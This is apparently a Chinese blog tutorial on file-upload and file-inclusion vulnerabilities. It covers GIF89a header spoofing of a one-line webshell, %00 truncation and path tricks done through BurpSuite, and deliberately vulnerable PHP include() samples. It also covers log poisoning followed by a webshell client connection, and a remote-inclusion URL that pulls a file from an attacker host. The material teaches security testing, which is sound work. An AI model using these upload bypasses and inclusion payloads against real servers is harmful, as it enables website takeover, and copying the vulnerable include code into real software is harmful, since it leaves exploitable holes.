文件上传与文件包含

文件上传漏洞:指用户上传了一个可执行的脚本文件,并通过该脚本文件获得了执行服务器端命令的能力。

文件头欺骗漏洞:
在一句话木马前面加上GIF89a 然后将木马保存为图片格式,例如Lin.jpg 、Lin.gif
如果对大小有要求就复制多几次
文件头欺骗可以绕过简单的waf

Filepath漏洞
可以用来突破自动命名规则(通过BurpSuite抓包修改)

  1. 改变上传后的路径/a.asp/,需要一定权限,不一定能创建成功,成功创建后为/a.asp/Lin.gif
    在这里插入图片描述

  2. 直接改变文件名称/a.asp;.修改后为/a.asp;.Lin.gif,最后命名为a.asp

%00截断
1.上传图片木马通过BurpSuite抓包,修改文件名称,点击hex 找到空格20改为00
在这里插入图片描述

最后的上传的文件名为c.php
2.上传图片,直接修改图片内容content-type:改为text/plain 下面的内容删掉改为一句话木马

表单提交按钮不存在
有些页面没有提交按钮,通过F12修改前端代码,将<input type=”submit”value=”提交”name=”aa”>写入表单,

文件包含漏洞:严格来说,文件包含漏洞属于‘代码注入‘,原理是注入一段用户能控制的脚本或代码,并让服务端执行。文件包含可能出现在PHP,JSP,ASP,等语言中。
常见的导致文件包含的函数如下:
PHP:include(),include_once(),require(),require_once(),fopen(),readfile()…
JSP/Servlet:ava.io.File(),java.io.FileReader(),…
ASP:include file,include virtual,

PHP的文件包含函数
Include() require() include_once() require_once() 当使用这4个函数包含一个新文件时,该文件将被当作php代码执行,php内核不会去理会这个文件的类型

<?php $test=$GET[‘c’]; Include($test); ?>

保存为include.php,在同一目录下创建test.txt 内容为<?php phpinfo()?>
访问测试 www.xxxx.com/test/include.php?c=test.txt
访问连接时就会将test.txt传给c,执行phpinfo()

文件包含漏洞利用的条件
1.include()等函数通过动态变量的方式引入需要包含的文件
2.用户能控制该动态变量

本地文件包含漏洞利用技巧

  1. 包含用户上传的文件 用户上传的文件内容中含有php代码,那这些代码被include()加载后会被执行
  2. 包含data:// 或者php://input 等伪协议
  3. 包含Session文件
  4. 包含日志文件,比如Web Server的access log。通过构造语句让服务器报错并将一句话随报错信息写入日志,找到日志文件,通过包含漏洞将日志文件包含,执行一句话后用菜刀连接后拿下网站

远程文件包含
如果php得配置选项allow_url_include为on,则include/require函数时可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(RFI)
代码:

<?php $test=$_GET[‘c’]; Include($test); ?>保存为include.php

执行时就把攻击站点的文件包含到目标站点就行
www.xxx.com/test/include.php?c=www.asd.com/113.txt

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值